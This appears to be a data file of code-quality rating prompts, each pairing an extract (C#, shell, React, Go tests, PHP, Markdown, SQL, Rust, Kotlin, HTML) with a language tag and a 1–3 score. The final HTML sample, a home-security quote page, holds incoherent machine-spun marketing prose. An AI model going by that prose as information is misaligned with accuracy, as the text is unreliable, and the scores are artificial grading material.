Name = si.Name,
Manufacturer = "Seecool",
Model = "Seecool",
Owner = "Seecool",
CivilCode = sip,
Block = "",
Address = "1",
Parental = 0,
SafetyWay = 0,
RegisterWay = 1,
CertNum = "1",
Certifiable = 1,
ErrCode = 400,
EndTime = DateTime.Now,
Secrecy = 0,
IPAddress = cc?.Ip,
Port = cc == null ? 8000 : cc.Port,
Password = <PASSWORD>,
Status = StatusType.ON,
Longitude = si.Longitude,
Latitude = si.Latitude
};
items.Add(it);
}
return items;
}
else
return null;
}
}
}
|
Below is an extract from a shell script. Evaluate whether it has a high educational value and could help teach shell scripting. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the script contains valid shell commands, even if it's not educational, like simple system calls or basic file operations.
- Add another point if the script addresses practical shell scripting concepts (e.g., variables, conditionals), even if it lacks comments.
- Award a third point if the script is suitable for educational use and introduces key concepts in shell scripting, even if the topic is somewhat advanced (e.g., functions, process management). The script should be well-structured and contain some comments.
- Give a fourth point if the script is self-contained and highly relevant to teaching shell scripting. It should be similar to a tutorial example or a shell scripting course section, demonstrating good practices in script organization.
- Grant a fifth point if the script is outstanding in its educational value and is perfectly suited for teaching shell scripting. It should be well-written, easy to understand, and contain step-by-step explanations in comments.
The extract:
for a in $(seq 1 1 50) ; do
cp model_XaXnXr_2.pbs model_XaXnXr_2_run$a.pbs
sed -i '' 's/input_2_3/input_2_3_run'$a'/g' model_XaXnXr_2_run$a.pbs
done
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
shell
| 3 |
for a in $(seq 1 1 50) ; do
cp model_XaXnXr_2.pbs model_XaXnXr_2_run$a.pbs
sed -i '' 's/input_2_3/input_2_3_run'$a'/g' model_XaXnXr_2_run$a.pbs
done
|
Below is an extract from a JavaScript program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid JavaScript code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical JavaScript concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., asynchronous programming). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching JavaScript. It should be similar to a school exercise, a tutorial, or a JavaScript course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching JavaScript. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
import React from 'react';
import Logo from '../images/EcoPaisa_Logo.png';
import './Styles/App.css';
import { Link } from 'react-router-dom';
function NavBar() {
return (
<div className="d-flex justify-content-between flex-column flex-md-row align-items-center p-3 px-md-4 mb-3 bg-white border-bottom box-shadow">
<div className="d-flex align-items-center">
<img className="my-0 mr-md-auto font-weight-normal" width="180" height="180" src={Logo} alt="..."></img>
<span className="nav">EcoPaisa</span>
</div>
<nav className="my-2 my-md-0 mr-md-3 d-flex">
<Link className="nav p-2" to="/home">Inicio</Link>
<Link className="nav p-2" to="/home">Misión y Visión</Link>
<Link className="nav p-2" to="/home">Portafolio</Link>
</nav>
</div>
);
}
export default NavBar;
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
javascript
| 1 |
import React from 'react';
import Logo from '../images/EcoPaisa_Logo.png';
import './Styles/App.css';
import { Link } from 'react-router-dom';
function NavBar() {
return (
<div className="d-flex justify-content-between flex-column flex-md-row align-items-center p-3 px-md-4 mb-3 bg-white border-bottom box-shadow">
<div className="d-flex align-items-center">
<img className="my-0 mr-md-auto font-weight-normal" width="180" height="180" src={Logo} alt="..."></img>
<span className="nav">EcoPaisa</span>
</div>
<nav className="my-2 my-md-0 mr-md-3 d-flex">
<Link className="nav p-2" to="/home">Inicio</Link>
<Link className="nav p-2" to="/home">Misión y Visión</Link>
<Link className="nav p-2" to="/home">Portafolio</Link>
</nav>
</div>
);
}
export default NavBar;
|
Below is an extract from a Go program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid Go code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical Go concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., goroutines, interfaces). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching Go. It should be similar to a school exercise, a tutorial, or a Go course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching Go. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
package roman
import (
"testing"
)
func TestValidateSymbol(t *testing.T) {
testCases := []struct {
symbol string
exp error
}{
{"I", nil},
{"V", nil},
{"X", nil},
{"L", nil},
{"C", nil},
{"D", nil},
{"M", nil},
{"i", errInvalidRomanSymbol},
{"", errInvalidRomanSymbol},
{"A", errInvalidRomanSymbol},
{"4", errInvalidRomanSymbol},
{"II", errInvalidRomanSymbol},
}
for _, tc := range testCases {
if act := ValidateSymbol(tc.symbol); act != tc.exp {
t.Fatal("Expected", tc.exp, ", got", act)
}
}
}
func TestValidateNumber(t *testing.T) {
testCases := []struct {
number string
exp bool
}{
{"II", true},
{"I", true},
{"XXX", true},
{"XXXX", false},
{"XXIX", true},
{"DD", false},
{"LL", false},
{"VV", false},
{"IM", false},
{"XM", false},
{"CM", true},
{"VM", false},
{"XM", false},
{"XXXD", false},
{"XDM", false},
{"XXXD", false},
{"LC", false},
{"", true},
{"M", true},
}
for _, tc := range testCases {
if act := isValidNumber(tc.number); act != tc.exp {
t.Fatal("Expected", tc.exp, ", got", act)
}
}
}
func TestToArabic(t *testing.T) {
testCases := []struct {
roman string
arabic int
err error
}{
{"I", 1, nil},
{"II", 2, nil},
{"III", 3, nil},
{"IV", 4, nil},
{"V", 5, nil},
{"VI", 6, nil},
{"VII", 7, nil},
{"VIII", 8, nil},
{"IX", 9, nil},
{"X", 10, nil},
{"XI", 11, nil},
{"L", 50, nil},
{"C", 100, nil},
{"D", 500, nil},
{"CMXCIX", 999, nil},
{"M", 1000, nil},
{"MDCCCLXXXII", 1882, nil},
{"MDCCCLXXXIII", 1883, nil},
{"MDCCCLXXXIV", 1884, nil},
{"MDCCCLXXXV", 1885, nil},
{"MDCCCLXXXVI", 1886, nil},
{"MDCCCLXXXVII", 1887, nil},
{"MDCCCLXXXVIII", 1888, nil},
{"MDCCCLXXXIX", 1889, nil},
{"MDCCCXC", 1890, nil},
{"MCMXLIV", 1944, nil},
{"MCMXCIX", 1999, nil},
{"MMM", 3000, nil},
{"", 0, nil},
{"i", 0, errInvalidRomanNumber},
{"A", 0, errInvalidRomanNumber},
{"4", 0, errInvalidRomanNumber},
{"IIII", 0, errIn
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
go
| 2 |
package roman
import (
"testing"
)
func TestValidateSymbol(t *testing.T) {
testCases := []struct {
symbol string
exp error
}{
{"I", nil},
{"V", nil},
{"X", nil},
{"L", nil},
{"C", nil},
{"D", nil},
{"M", nil},
{"i", errInvalidRomanSymbol},
{"", errInvalidRomanSymbol},
{"A", errInvalidRomanSymbol},
{"4", errInvalidRomanSymbol},
{"II", errInvalidRomanSymbol},
}
for _, tc := range testCases {
if act := ValidateSymbol(tc.symbol); act != tc.exp {
t.Fatal("Expected", tc.exp, ", got", act)
}
}
}
func TestValidateNumber(t *testing.T) {
testCases := []struct {
number string
exp bool
}{
{"II", true},
{"I", true},
{"XXX", true},
{"XXXX", false},
{"XXIX", true},
{"DD", false},
{"LL", false},
{"VV", false},
{"IM", false},
{"XM", false},
{"CM", true},
{"VM", false},
{"XM", false},
{"XXXD", false},
{"XDM", false},
{"XXXD", false},
{"LC", false},
{"", true},
{"M", true},
}
for _, tc := range testCases {
if act := isValidNumber(tc.number); act != tc.exp {
t.Fatal("Expected", tc.exp, ", got", act)
}
}
}
func TestToArabic(t *testing.T) {
testCases := []struct {
roman string
arabic int
err error
}{
{"I", 1, nil},
{"II", 2, nil},
{"III", 3, nil},
{"IV", 4, nil},
{"V", 5, nil},
{"VI", 6, nil},
{"VII", 7, nil},
{"VIII", 8, nil},
{"IX", 9, nil},
{"X", 10, nil},
{"XI", 11, nil},
{"L", 50, nil},
{"C", 100, nil},
{"D", 500, nil},
{"CMXCIX", 999, nil},
{"M", 1000, nil},
{"MDCCCLXXXII", 1882, nil},
{"MDCCCLXXXIII", 1883, nil},
{"MDCCCLXXXIV", 1884, nil},
{"MDCCCLXXXV", 1885, nil},
{"MDCCCLXXXVI", 1886, nil},
{"MDCCCLXXXVII", 1887, nil},
{"MDCCCLXXXVIII", 1888, nil},
{"MDCCCLXXXIX", 1889, nil},
{"MDCCCXC", 1890, nil},
{"MCMXLIV", 1944, nil},
{"MCMXCIX", 1999, nil},
{"MMM", 3000, nil},
{"", 0, nil},
{"i", 0, errInvalidRomanNumber},
{"A", 0, errInvalidRomanNumber},
{"4", 0, errInvalidRomanNumber},
{"IIII", 0, errInvalidRomanNumber},
{"MMMM", 0, errInvalidRomanNumber},
{"XXXXX", 0, errInvalidRomanNumber},
{"VM", 0, errInvalidRomanNumber},
}
for _, tc := range testCases {
if act, err := ToArabic(tc.roman); err != tc.err || act != tc.arabic {
t.Fatal("Expected", tc.arabic, tc.err, ", got", act, err, "for", tc.roman)
}
}
}
|
Below is an extract from a PHP program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid PHP code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical PHP concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., object-oriented programming, namespaces). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching PHP. It should be similar to a school exercise, a tutorial, or a PHP course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching PHP. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
<?php
namespace Snappminds\ContableBundle\Entity\Transaccion\DTOs\MediosPago;
/**
* @author gcaseres
*/
abstract class DTOMedioPago
{
private $monto;
public function __construct($monto)
{
$this->setMonto($monto);
}
public function setMonto($value)
{
$this->monto = $value;
}
public function getMonto()
{
return $this->monto;
}
public abstract function accept(IDTOMedioPagoVisitor $visitor);
}
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
php
| 3 |
<?php
namespace Snappminds\ContableBundle\Entity\Transaccion\DTOs\MediosPago;
/**
* @author gcaseres
*/
abstract class DTOMedioPago
{
private $monto;
public function __construct($monto)
{
$this->setMonto($monto);
}
public function setMonto($value)
{
$this->monto = $value;
}
public function getMonto()
{
return $this->monto;
}
public abstract function accept(IDTOMedioPagoVisitor $visitor);
}
|
Below is an extract from a Markdown document. Evaluate its educational value, considering both Markdown usage and the content itself. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the document uses basic Markdown syntax correctly (e.g., headers, lists, or emphasis), regardless of content.
- Add another point if the document's content has some educational value, even if it's basic or limited in scope. The Markdown usage should be correct but might not be diverse.
- Award a third point if the document demonstrates a good range of Markdown features (e.g., links, images, code blocks) AND the content provides clear, accurate information on a topic. The structure should be logical and easy to follow.
- Give a fourth point if the document is well-suited for teaching both its subject matter and effective Markdown usage. It should use varied Markdown elements to enhance the presentation of educational content, similar to a well-crafted tutorial or lesson.
- Grant a fifth point if the document is exceptional both in its use of Markdown and the educational value of its content. It should demonstrate advanced Markdown features (e.g., tables, task lists, footnotes), have an engaging structure, and provide comprehensive, high-quality educational content on its topic. The document should serve as an excellent example of using Markdown for educational purposes.
The extract:
# ios-class-projects
Repo for projects from my Advanced iOS class at Rose-Hulman
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
markdown
| 2 |
# ios-class-projects
Repo for projects from my Advanced iOS class at Rose-Hulman
|
Below is an extract of SQL code. Evaluate whether it has a high educational value and could help teach SQL and database concepts. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the code contains valid SQL syntax, even if it's just basic queries or simple table operations.
- Add another point if the code addresses practical SQL concepts (e.g., JOINs, subqueries), even if it lacks comments.
- Award a third point if the code is suitable for educational use and introduces key concepts in SQL and database management, even if the topic is somewhat advanced (e.g., indexes, transactions). The code should be well-structured and contain some comments.
- Give a fourth point if the code is self-contained and highly relevant to teaching SQL. It should be similar to a database course exercise, demonstrating good practices in query writing and database design.
- Grant a fifth point if the code is outstanding in its educational value and is perfectly suited for teaching SQL and database concepts. It should be well-written, easy to understand, and contain explanatory comments that clarify the purpose and impact of each part of the code.
The extract:
INSERT INTO public.user_info (id, password, username) VALUES (1, <PASSWORD>', '<PASSWORD>');
INSERT INTO public.user_info (id, password, username) VALUES (2, <PASSWORD>', '<PASSWORD>');
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
sql
| 1 |
INSERT INTO public.user_info (id, password, username) VALUES (1, <PASSWORD>', '<PASSWORD>');
INSERT INTO public.user_info (id, password, username) VALUES (2, <PASSWORD>', '<PASSWORD>');
|
Below is an extract from a JavaScript program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid JavaScript code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical JavaScript concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., asynchronous programming). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching JavaScript. It should be similar to a school exercise, a tutorial, or a JavaScript course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching JavaScript. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
const data=[
{
id:1,
name:"sample product 01"
},
{
id:2,
name:"sample product 02"
},
{
id:3,
name:"sample product 03"
},
{
id:4,
name:"sample product 04"
},
{
id:5,
name:"sample product 05"
}
]
export default data
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
javascript
| 1 |
const data=[
{
id:1,
name:"sample product 01"
},
{
id:2,
name:"sample product 02"
},
{
id:3,
name:"sample product 03"
},
{
id:4,
name:"sample product 04"
},
{
id:5,
name:"sample product 05"
}
]
export default data
|
Below is an extract from a Markdown document. Evaluate its educational value, considering both Markdown usage and the content itself. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the document uses basic Markdown syntax correctly (e.g., headers, lists, or emphasis), regardless of content.
- Add another point if the document's content has some educational value, even if it's basic or limited in scope. The Markdown usage should be correct but might not be diverse.
- Award a third point if the document demonstrates a good range of Markdown features (e.g., links, images, code blocks) AND the content provides clear, accurate information on a topic. The structure should be logical and easy to follow.
- Give a fourth point if the document is well-suited for teaching both its subject matter and effective Markdown usage. It should use varied Markdown elements to enhance the presentation of educational content, similar to a well-crafted tutorial or lesson.
- Grant a fifth point if the document is exceptional both in its use of Markdown and the educational value of its content. It should demonstrate advanced Markdown features (e.g., tables, task lists, footnotes), have an engaging structure, and provide comprehensive, high-quality educational content on its topic. The document should serve as an excellent example of using Markdown for educational purposes.
The extract:
# jp_prefecture
A library that converts Japanese prefecture codes and prefecture names.
## Usage
### Find a Japanese prefecture by prefecture code.
```dart
final pref = JpPrefecture.findByCode(13);
if (pref == null) {
return;
}
print(pref.code); // => 13
print(pref.name); // => '東京都'
print(pref.nameE); // => 'Tokyo'
print(pref.nameH); // => 'とうきょうと'
print(pref.nameK); // => 'トウキョウト'
print(pref.area); // => '関東'
print(pref.type); // => '都'
```
### Find a Japanese prefecture by prefecture name.
```dart
final pref = JpPrefecture.findByName('東京都');
if (pref == null) {
return;
}
print(pref.code); // => 13
print(pref.name); // => '東京都'
print(pref.nameE); // => 'Tokyo'
print(pref.nameH); // => 'とうきょうと'
print(pref.nameK); // => 'トウキョウト'
print(pref.area); // => '関東'
print(pref.type); // => '都'
```
### Get all Japanese prefectures.
```dart
final prefs = JpPrefecture.all;
print(prefs.first.code); // => 1
print(prefs.first.name); // => '北海道'
print(prefs.first.nameE); // => 'Hokkaido'
print(prefs.first.nameH); // => 'ほっかいどう'
print(prefs.first.nameK); // => 'ホッカイドウ'
print(prefs.first.area); // => '北海道'
print(prefs.first.type); // => '道'
```
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
markdown
| 3 |
# jp_prefecture
A library that converts Japanese prefecture codes and prefecture names.
## Usage
### Find a Japanese prefecture by prefecture code.
```dart
final pref = JpPrefecture.findByCode(13);
if (pref == null) {
return;
}
print(pref.code); // => 13
print(pref.name); // => '東京都'
print(pref.nameE); // => 'Tokyo'
print(pref.nameH); // => 'とうきょうと'
print(pref.nameK); // => 'トウキョウト'
print(pref.area); // => '関東'
print(pref.type); // => '都'
```
### Find a Japanese prefecture by prefecture name.
```dart
final pref = JpPrefecture.findByName('東京都');
if (pref == null) {
return;
}
print(pref.code); // => 13
print(pref.name); // => '東京都'
print(pref.nameE); // => 'Tokyo'
print(pref.nameH); // => 'とうきょうと'
print(pref.nameK); // => 'トウキョウト'
print(pref.area); // => '関東'
print(pref.type); // => '都'
```
### Get all Japanese prefectures.
```dart
final prefs = JpPrefecture.all;
print(prefs.first.code); // => 1
print(prefs.first.name); // => '北海道'
print(prefs.first.nameE); // => 'Hokkaido'
print(prefs.first.nameH); // => 'ほっかいどう'
print(prefs.first.nameK); // => 'ホッカイドウ'
print(prefs.first.area); // => '北海道'
print(prefs.first.type); // => '道'
```
|
Below is an extract from a Rust program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid Rust code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical Rust concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., ownership, lifetimes). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching Rust. It should be similar to a school exercise, a tutorial, or a Rust course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching Rust. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
use owner::Owner;
use vec2::Vec2;
pub type UnitId = usize;
#[derive(Clone, Debug)]
pub struct Unit {
// Generic
pub id: UnitId,
pub kind: UnitType,
pub owner: Owner,
pub pos: Vec2,
pub health: i64,
// Specific
pub resources: i64
}
impl Unit {
pub fn new(owner: Owner, pos: Vec2, kind: UnitType) -> Unit {
Unit {
id: 0,
kind: kind,
owner: owner,
pos: pos,
health: kind.max_health(),
resources: 0
}
}
}
pub type UnitTypeId = usize;
#[derive(Copy, Clone, Debug, PartialEq, Eq, PartialOrd, Ord)]
pub enum UnitType {
Worker
}
impl UnitType {
pub fn to_id(self) -> UnitTypeId {
match self {
UnitType::Worker => 0
}
}
pub fn from_id(id: UnitTypeId) -> Option<UnitType> {
Some(match id {
0 => UnitType::Worker,
_ => { return None; }
})
}
pub fn max_health(self) -> i64 {
match self {
UnitType::Worker => 15
}
}
pub fn radius(self) -> f64 {
match self {
UnitType::Worker => 15.
}
}
pub fn speed(self) -> f64 {
match self {
UnitType::Worker => 10.
}
}
pub fn cost(self) -> i64 {
match self {
UnitType::Worker => 50
}
}
}
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
rust
| 3 |
use owner::Owner;
use vec2::Vec2;
pub type UnitId = usize;
#[derive(Clone, Debug)]
pub struct Unit {
// Generic
pub id: UnitId,
pub kind: UnitType,
pub owner: Owner,
pub pos: Vec2,
pub health: i64,
// Specific
pub resources: i64
}
impl Unit {
pub fn new(owner: Owner, pos: Vec2, kind: UnitType) -> Unit {
Unit {
id: 0,
kind: kind,
owner: owner,
pos: pos,
health: kind.max_health(),
resources: 0
}
}
}
pub type UnitTypeId = usize;
#[derive(Copy, Clone, Debug, PartialEq, Eq, PartialOrd, Ord)]
pub enum UnitType {
Worker
}
impl UnitType {
pub fn to_id(self) -> UnitTypeId {
match self {
UnitType::Worker => 0
}
}
pub fn from_id(id: UnitTypeId) -> Option<UnitType> {
Some(match id {
0 => UnitType::Worker,
_ => { return None; }
})
}
pub fn max_health(self) -> i64 {
match self {
UnitType::Worker => 15
}
}
pub fn radius(self) -> f64 {
match self {
UnitType::Worker => 15.
}
}
pub fn speed(self) -> f64 {
match self {
UnitType::Worker => 10.
}
}
pub fn cost(self) -> i64 {
match self {
UnitType::Worker => 50
}
}
}
|
Below is an extract from a Kotlin program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid Kotlin code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical Kotlin concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., coroutines, extension functions). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching Kotlin. It should be similar to a school exercise, a tutorial, or a Kotlin course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching Kotlin. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
package com.nambv.demo.newsappdemo.ui.common
import androidx.recyclerview.widget.DiffUtil
import androidx.recyclerview.widget.ListAdapter
abstract class BaseAdapter<T>(diffCallback: DiffUtil.ItemCallback<T>) :
ListAdapter<T, BaseViewHolder>(diffCallback)
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
kotlin
| 2 |
package com.nambv.demo.newsappdemo.ui.common
import androidx.recyclerview.widget.DiffUtil
import androidx.recyclerview.widget.ListAdapter
abstract class BaseAdapter<T>(diffCallback: DiffUtil.ItemCallback<T>) :
ListAdapter<T, BaseViewHolder>(diffCallback)
|
Below is an extract from an HTML document. Evaluate whether it has a high educational value and could help teach web development. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the document contains valid HTML markup, even if it's not educational, like boilerplate code or standard tags.
- Add another point if the document addresses practical HTML concepts and uses semantic elements appropriately.
- Award a third point if the document is suitable for educational use and introduces key web concepts, even if the topic is somewhat advanced (e.g., forms, metadata). The code should be well-structured and use clear, descriptive naming.
- Give a fourth point if the document is self-contained and highly relevant to teaching HTML. It should be similar to a school exercise, a tutorial, or an HTML course section for early learners.
- Grant a fifth point if the document is outstanding in its educational value and is perfectly suited for teaching HTML to beginners. It should be well-organized, easy to understand, and ideally include some explanatory comments or demonstrate best practices in HTML structure.
The extract:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Home Monitoring Equipment Charleston SC</title>
<meta name="description" content="Wireless Home Security Systems in Charleston South Carolina - Proxim's wireless solutions have enabled highly reliable video surveillance networks in all corners of the globe.">
<link rel="stylesheet" href="./css/style.css">
</head>
<main>
<header id="navbar">
<div class="container">
<div class="flexbox flexRow alignItemCenter">
<div class="logobar">
<a href="index.html">Home Security Systems</a>
</div>
</div>
</div>
</header>
<div class="slider">
<div class="flexbox flexColumn">
<div class=" slider-contant">
<span>Are You Looking To Get a Home Security System Installed?</span>
<p>Compare Price Quotes & Save Upto 35%. Its Simple, fast and free.</p>
<div class="btn-group">
<a href="./quotes.html" class="btn primary-btn">Request Free Quote</a>
</div>
</div>
</div>
</div>
<section>
<div class="container">
<div id="tab1" class="opTabContent">
<div class="tab-wrapper">
<a href="./index.html">Home</a><br><center><h1>Home Monitoring Equipment in Charleston SC</h1>
<p>
<iframe width="100%" height="250" src="https://maps.google.com/maps?width=100%&height=600&hl=en&q=Charleston.SC+()&ie=UTF8&t=&z=14&iwloc=B&output=embed" frameborder="0" scrolling="no" marginheight="0" marginwidth="0">
</iframe>
</p>
<h2 style="text-align: center;"><span style="color: #ff0000;">Request Free Quotes For Home Security System</span></h2>
<p style="text-align: center;"><span style="color: #0000ff;"><strong>Just
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
html
| 1 |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Home Monitoring Equipment Charleston SC</title>
<meta name="description" content="Wireless Home Security Systems in Charleston South Carolina - Proxim's wireless solutions have enabled highly reliable video surveillance networks in all corners of the globe.">
<link rel="stylesheet" href="./css/style.css">
</head>
<main>
<header id="navbar">
<div class="container">
<div class="flexbox flexRow alignItemCenter">
<div class="logobar">
<a href="index.html">Home Security Systems</a>
</div>
</div>
</div>
</header>
<div class="slider">
<div class="flexbox flexColumn">
<div class=" slider-contant">
<span>Are You Looking To Get a Home Security System Installed?</span>
<p>Compare Price Quotes & Save Upto 35%. Its Simple, fast and free.</p>
<div class="btn-group">
<a href="./quotes.html" class="btn primary-btn">Request Free Quote</a>
</div>
</div>
</div>
</div>
<section>
<div class="container">
<div id="tab1" class="opTabContent">
<div class="tab-wrapper">
<a href="./index.html">Home</a><br><center><h1>Home Monitoring Equipment in Charleston SC</h1>
<p>
<iframe width="100%" height="250" src="https://maps.google.com/maps?width=100%&height=600&hl=en&q=Charleston.SC+()&ie=UTF8&t=&z=14&iwloc=B&output=embed" frameborder="0" scrolling="no" marginheight="0" marginwidth="0">
</iframe>
</p>
<h2 style="text-align: center;"><span style="color: #ff0000;">Request Free Quotes For Home Security System</span></h2>
<p style="text-align: center;"><span style="color: #0000ff;"><strong>Just fill out the simple form below and local representative will be in touch shortly</strong></span></p>
<!-- START: BuyerZone Widget Code-->
<script data-bzwidget
src="https://cdn.buyerzone.com/apps/widget/bzWidget.min.js"
data-bzwidget-pub-id="51681"
data-bzwidget-color-palette-name="default"
data-bzwidget-keyword-id="frontaws"
data-bzwidget-category-id="10133"
></script>
<script>bzWidget.init();</script>
<!-- END: BuyerZone Widget Code-->
</center>
<p>Your home, since it can be quieted from your telephone lines meaning that even if you have actually 2 set up within a specific zone of some executions, a classification is beneficial as this is easily available along with the aid you style and establish timely resourcesAFB is likewise happy tohouse the Helen Keller Archives and 50% off the add on lowNow we don't get any AI driven functions based on over the morning the method of supplying your home or put out the fire. The Wyze Webcam can also catch video to the cloud, but the totally free account is restricted to 12-second clips every 5 minutes. That means the camera will wait 5 minutes before it has the ability to record once again, which implies you might be missing a lot. Wyze's recently released Complete Motion Capture solves this problem for $1.50 each month per camera. It makes it possible for recording of all motion the camera senses, for up to five minutes in a row. If motion continues beyond that window, the camera ends one clip and quickly begins another, with no spaces in between. Recordings are simple to find under the Occasions tab at the bottom of the app. Without the membership, you still get the limited cloud recording and microSD recording, but we don't recommend that for home security due to the fact that if it's taken, you do not have a backup.</p>
<p>Contact the ISG today to read more about our video surveillance and security camera options. Alarm Relay controls whatever from our In-house Specialist Monitoring Station. We pick each representative carefully, and we treat your home security as if it were our own. This means you get an instant action from a genuine person. Every minute. Every day. Guaranteed. A few minutes into the DIY installation, our tester got stuck getting her control panel up and online-- it just wouldn't link. An aid window popped up with a number to call, and a Frontpoint representative helped her troubleshoot the connection. After about 10 minutes, he could tell there was a problem with the circuit board. Definitely not ideal-- however the representative asked forgiveness and delivered her replacement control panel overnight.</p>
<h2>Video Surveillance And Privacy Rights Charleston</h2>
<p>Equipment includes things like your door and window sensing units, motion sensors, control board, and so on. The cost completely depends on which provider you select, but expect to pay a few hundred dollars for a basic bundle--$ 200 would be considered cheap for a starter pack of home security equipment. That stated, it can run cheaper if you go with a company that runs a lot of offers on equipment (like Frontpoint). Last but not least, the ADT Pulse + Smart Home Connect bundle let you control all your clever home equipment through a single app. That's a hassle-free way to incorporate a wise home system.</p>
<p>Mentioning recordings, BT are decidedly generous with their cloud-based storage. You get one month of complimentary recordings conserved to the cloud from whenever the camera spots motion, allowing you to pull whatever you desire. Or you can slot in an SD card and conserve everything (up until you run out of space, obviously) In addition, you get notices sent to your mobile whenever motion is spotted and you can by hand record videos to your camera reel from there.</p>
<p>Storage: We restricted our screening to cameras with cloud storage, whether it's free or for a regular monthly fee. Local storage on a microSD card is also good to have; feel in one's bones that locally kept footage can be taken if someone notices the camera. With wise home combination, simple installation, and a discreet appearance, an increasing number of house owners go with the benefit of a wireless home security system. Plus, SimpliSafe is adept on the equipment front. You can discover everything from window sensing units to leakage detectors to carbon monoxide sensors.</p>
<h3>Outdoor Surveillance Camera in Charleston SC</h3>
<p>Video surveillance system monitoring goes beyond the standard surveillance system by enabling trained professionals to respond to an occurrence in real-time. Live feed from your cameras is monitored by either trained in-house staff members or expert and specific security company. If you have high-risk and valuable products, it's a good idea to work with a skilled company with highly-trained professionals to deal with surveillance monitoring activities. They tend to take notice of detail and are equipped with the necessary abilities to deal with any security scenario.</p>
<p>Video surveillance monitoring is as old as the extremely principle of camera surveillance. Video surveillance has actually come a long method, spanning several decades. The very first video surveillance system was a Closed-Circuit Television (CCTV) set up in 1942 by German scientists to monitor the launch of rockets. The innovation slowly developed into the highly advanced yet cost effective systems readily available today. The very first usages of CCTV cameras needed monitoring the feed in real-time - i.e., they did not have the methods to tape video and watch it later on. Although video surveillance was monitored out of need in the early days, nowadays it is an intentional practice to improve the result of security systems.</p>
